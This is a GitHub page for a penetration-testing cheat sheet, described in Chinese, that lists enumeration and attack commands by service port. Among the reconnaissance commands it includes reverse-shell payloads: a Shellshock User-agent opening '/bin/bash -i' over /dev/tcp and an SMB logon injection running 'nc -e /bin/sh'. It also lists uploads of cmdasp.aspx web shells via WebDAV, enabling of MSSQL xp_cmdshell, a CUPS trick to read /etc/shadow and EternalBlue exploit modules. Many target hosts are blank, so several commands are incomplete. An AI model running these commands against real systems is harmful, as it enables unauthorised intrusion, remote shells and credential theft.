jwardsmith/Penetration-Testing
GitHub: jwardsmith/Penetration-Testing
一份覆盖渗透测试全流程的命令与工具速查清单,帮助安全团队快速执行信息收集、漏洞利用与横向移动。
Stars: 7 | Forks: 2
# 渗透测试
## 概述
1. - [被动枚举](#1---passive-enumeration)
2. - [主动枚举](#2---active-enumeration)
3. - [利用](#3---exploitation)
4. - [横向移动](#4---lateral-movement)
5. - [权限提升](#5---privilege-escalation)
6. - [暴力破解](#6---brute-force)
7. - [密码转储](#7---password-dumping)
8. - [文件传输](#8---file-transfers)
9. - [受限 Shell 逃逸](#9---restricted-shell-escapes)
10. - [Shell](#10---shells)
11. - [绕过](#11---evasion)
12. - [在线资源](#12---online-resources)
13. - [浏览器插件](#13---browser-plugins)
14. - [利用工具](#14---exploits)
15. - [利用研究](#15---exploit-research)
## #1. - 被动枚举
- Searchcode
```
https://searchcode.com/
```
- Shodan
```
https://www.shodan.io/
$ for i in $(cat ip-addresses.txt);do shodan host $i;done
```
- 证书搜索
```
https://crt.sh/
$ curl -s https://crt.sh/\?q\=\&output\=json | jq .
$ curl -s https://crt.sh/\?q\=\&output\=json | jq . | grep name | cut -d":" -f2 | grep -v "CN=" | cut -d'"' -f2 | awk '{gsub(/\\n/,"\n");}1;' | sort -u
```
- Google Dorks
```
intext: inurl:amazonaws.com
intext: inurl:blob.core.windows.net
```
- Whois
```
https://domain.glass/
```
- 云存储桶搜索
```
https://buckets.grayhatwarfare.com/
```
## #2. - 主动枚举
- Nmap
```
$ sudo nmap --script-updatedb
$ nmap -sn
$ nmap -sC -sV -p- -Pn -A
$ nmap -sC -sV -p- -Pn -A -sU
$ nmap --top-ports=100
$ nmap --script vuln
$ nmap -sV --script banner
$ nmap -sV --packet-trace --reason
$ nmap -S -e tun0
$ nmap -D RND:5
$ nmap --source-port
$ nmap -oA scan
$ xsltproc target.xml -o target.html
```
- Nessus
```
$ dpkg -i Nessus-8.15.1-ubuntu910_amd64.deb
$ sudo systemctl start nessusd.service
https://localhost:8834
https://raw.githubusercontent.com/eelsivart/nessus-report-downloader/master/nessus6-report-downloader.rb
./nessus_downloader.rb
```
- OpenVAS
```
$ sudo apt-get install gvm && openvas
$ gvm-setup
$ gvm-start
https://github.com/TheGroundZero/openvasreporting
$ python3 -m openvasreporting -i report-2bf466b5-627d-4659-bea6-1758b43235b1.xml -f xlsx
```
- Netcat
```
$ nc -nv
```
- FTP (端口 21)
```
$ ftp (anonymous:anonymous)
ftp> dir
ftp> cd
ftp> get
ftp> put
ftp> exit
$ openssl s_client -connect :21 -starttls ftp
$ wget -m --no-passive ftp://anonymous:anonymous@
```
- SSH (端口 22)
```
$ ssh @
$ ssh @@
$ ssh @ -p
$ chmod 600 id_rsa
$ ssh -i id_rsa @
$ ssh @ -o PreferredAuthentications=password
$ ssh-audit.py
```
- Telnet (端口 23)
```
$ telnet
```
- SMTP (端口 25)
```
$ telnet 25
VRFY root
```
- DNS (udp/端口 53)
```
$ dig ns @
$ dig mx @
$ dig txt @
$ dig CH TXT version.bind
$ dig soa @
$ dig any @
$ dig axfr @
$ for sub in $(cat /opt/useful/seclists/Discovery/DNS/subdomains-top1million-110000.txt);do dig $sub. @ | grep -v ';\|SOA' | sed -r '/^\s*$/d' | grep $sub | tee -a subdomains.txt;done
$ dnsenum --dnsserver --enum -p 0 -s 0 -o found_subdomains.txt -f /opt/useful/seclists/Discovery/DNS/subdomains-top1million-110000.txt
$ for i in $(cat subdomainlist.txt);do host $i | grep "has address" | grep | cut -d" " -f4 >> ip-addresses.txt;done
```
- TFTP (udp/端口 69)
```
$ tftp
tftp> get
tftp> put
```
- HTTP/HTTPS (端口 80/443)
```
Right-Click -> View Page Source
https:///robots.txt
$ gobuster dir -w -u
$ gobuster dir -w -u -x php,html
$ gobuster vhost -w -u
$ gobuster dns -w -d
$ ffuf -u /FUZZ -w
$ curl -IL
$ curl -H 'User-agent: zerodiumsystem("curl ");'
$ curl -i -H "User-agent: () { :;}; /bin/bash -i >& /dev/tcp//443 0>&1" http:///cgi-bin/user.sh
$ feroxbuster -w -u
$ wfuzz -c -w -u http://FUZZ.
$ nikto -h
$ eyewitness -f --web
$ whatweb
$ curl -v -X OPTIONS
$ curl http:// --upload-file test.txt
$ curl -X PUT http:///test.txt -d @test.txt
$ curl -X PUT http:///test.txt --data-binary @cmdasp.aspx
$ curl -X PUT http:///test.txt -d @cmdasp.aspx
$ curl -X MOVE -H 'Destination:http:///cmdasp.aspx' http:///test.txt
$ davtest -url http://
$ cadaver http://
dav:/ put cmdasp.aspx cmdasp.txt
dav:/ put cmdasp.txt cmdasp.aspx
```
- POP3 (端口 110)
```
$ telnet 110
USER admin
PASS admin
LIST
RETR 1
```
- RPCBIND (端口 111)
```
$ rpcinfo -p
```
- MSRPC (端口 135)
```
$ wmiexec.py :""@ ""
```
- SMB (端口 137/139/445)
```
$ smbclient -N -L
$ smbclient -L
$ smbclient -L -U
$ smbclient \\\\\\c$
$ smbclient \\\\\\c$ -U
$ smbclient /// -k -c ls -no-pass
$ smbmap -H
$ smbmap -H -u -p
smb: \> logon "/=`nc -e /bin/sh`"
smb: \> !ls
$ rpcclient -U ""
$ for i in $(seq 500 1100);do rpcclient -N -U "" -c "queryuser 0x$(printf '%x\n' $i)" | grep "User Name\|user_rid\|group_rid" && echo "";done
$ samrdump.py
msf> use auxiliary/scanner/smb/smb_version
msf> use auxiliary/scanner/smb/smb_login
msf> use auxiliary/scanner/smb/smb_ms17_010
msf> use exploit/windows/smb/ms17_010_psexec
msf> use exploit/windows/smb/ms17_010_eternalblue
msf> use exploit/windows/smb/ms08_067_netapi
msf> use exploit/multi/samba/usermap_script
msf> use exploit/windows/smb/psexec
$ enum4linux -a
$ enum4linux-ng.py -A
$ crackmapexec smb --shares
$ crackmapexec smb --shares -u '' -p ''
$ crackmapexec smb --shares -u -p ''
$ crackmapexec winrm -u -p ''
```
- IMAP (端口 143)
```
$ telnet 143
1 LOGIN username password
1 LIST "" *
1 FETCH all
```
- SNMP (udp/端口 161)
```
$ snmpwalk -v 2c -c
$ snmpwalk -v 2c -c public 1.3.6.1.2.1.1.5.0
$ snmpwalk -v 2c -c private 1.3.6.1.2.1.1.5.0
$ onesixtyone -c /opt/useful/seclists/Discovery/SNMP/snmp.txt
$ braa @:.1.*
```
- R-Services (端口 512/513/514)
```
$ rlogin -l
$ rwho
$ rusers -al
```
- IPMI (udp/端口 623)
```
msf> use auxiliary(scanner/ipmi/ipmi_version)
msf> use auxiliary(scanner/ipmi/ipmi_dumphashes)
```
- CUPS (端口 631)
```
$ cupsctl ErrorLog="/etc/shadow"
$ curl http://:631/admin/log/error_log?
use multi/escalate/cups_root_file_read
```
- Rsync (端口 873)
```
$ rsync -av --list-only rsync://
$ rsync -av --list-only rsync:///
$ rsync rsync:////
$ rsync -av rsync://
```
- IMAPS (端口 993)
```
$ curl -k 'imaps://' --user :
$ openssl s_client -connect :imaps
```
- POP3S (端口 995)
```
$ openssl s_client -connect :pop3s
```
- MSSQL (端口 1433)
```
$ python3 mssqlclient.py /@ -windows-auth
SQL> SELECT name from sys.databases
SQL> SELECT is_srvrolemember('sysadmin');
SQL> EXEC sp_configure 'show advanced options', 1; RECONFIGURE; sp_configure; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;
SQL> EXEC xp_cmdshell "whoami";
```
- Oracle TNS (端口 1521)
```
$ wget https://download.oracle.com/otn_software/linux/instantclient/214000/instantclient-basic-linux.x64-21.4.0.0.0dbru.zip
$ wget https://download.oracle.com/otn_software/linux/instantclient/214000/instantclient-sqlplus-linux.x64-21.4.0.0.0dbru.zip
$ sudo mkdir -p /opt/oracle
$ sudo unzip -d /opt/oracle instantclient-basic-linux.x64-21.4.0.0.0dbru.zip
$ sudo unzip -d /opt/oracle instantclient-sqlplus-linux.x64-21.4.0.0.0dbru.zip
$ export LD_LIBRARY_PATH=/opt/oracle/instantclient_21_4:$LD_LIBRARY_PATH
$ export PATH=$LD_LIBRARY_PATH:$PATH
$ source ~/.bashrc
$ cd ~
$ git clone https://github.com/quentinhardy/odat.git
$ cd odat/
$ pip install python-libnmap
$ git submodule init
$ git submodule update
$ pip3 install cx_Oracle
$ sudo apt-get install python3-scapy -y
$ sudo pip3 install colorlog termcolor passlib python-libnmap
$ sudo apt-get install build-essential libgmp-dev -y
$ pip3 install pycryptodome
$ ./odat.py -h
$ ./odat.py all -s
$ ./odat.py utlfile -s -d -U -P --sysdba --putFile